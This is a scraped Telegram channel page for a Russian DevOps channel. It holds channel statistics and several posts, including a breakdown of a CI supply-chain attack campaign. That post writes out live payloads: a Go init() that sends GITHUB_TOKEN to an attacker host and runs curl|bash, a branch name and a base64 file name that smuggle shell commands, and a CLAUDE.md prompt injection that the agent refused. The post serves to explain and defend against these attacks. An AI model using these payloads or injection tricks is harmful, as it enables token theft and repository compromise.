Библиотека девопса | DevOps, SRE, Sysadmin
Все самое полезное для девопсера в одном канале. Наши курсы: https://clc.to/ZJ7Z1w По рекламе: @tproger_sales_bot Для обратной связи: @proglibrary_feeedback_bot РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787 Заявка: 8137718351
Больше📈 Аналитический обзор Telegram-канала Библиотека девопса | DevOps, SRE, Sysadmin
Канал Библиотека девопса | DevOps, SRE, Sysadmin (@devopsslib) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 10 338 подписчиков, занимая 11 827 место в категории Технологии и приложения и 61 477 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 10 338 подписчиков.
Согласно последним данным от 27 октября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -44, а за последние 24 часа — -3, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 10.79%. В первые 24 часа после публикации контент обычно набирает 4.87% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 115 просмотров. В течение первых суток публикация набирает 503 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 2.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как devops'a, навигация, скрипт, docker, git.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Все самое полезное для девопсера в одном канале.
Наши курсы: https://clc.to/ZJ7Z1w
По рекламе: @tproger_sales_bot
Для обратной связи: @proglibrary_feeedback_bot
РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Заявка: 8137718351”
Благодаря высокой частоте обновлений (последние данные получены 28 октября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
Kubernetes корректно выведет все поды с ноды, перенесёт их на другие ноды в кластере и отметит саму ноду как недоступную для новых подов. Workloads при этом не упадут, они просто переедут.
--ignore-daemonsets говорит системе не трогать DaemonSets, потому что они крутятся на каждой ноде и переносить их бесполезно. --delete-emptydir-data удаляет поды с пустыми томами, которые нельзя перенести нормально.
Drain работает только с управляемыми подами. Если у вас валяются standalone поды без контроллера, они просто удалятся. Поэтому перед drain проверьте, что важные поды находятся в Deployments, StatefulSets или других контроллерах.
После drain нода остаётся в состоянии unschedulable. Когда закончите работу, верните её обратно:
kubectl uncordon <node-name>
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе 2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре) 3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным 4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem средеВнутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов. Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента. Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности. Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_promptcurl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовGITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.
Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётов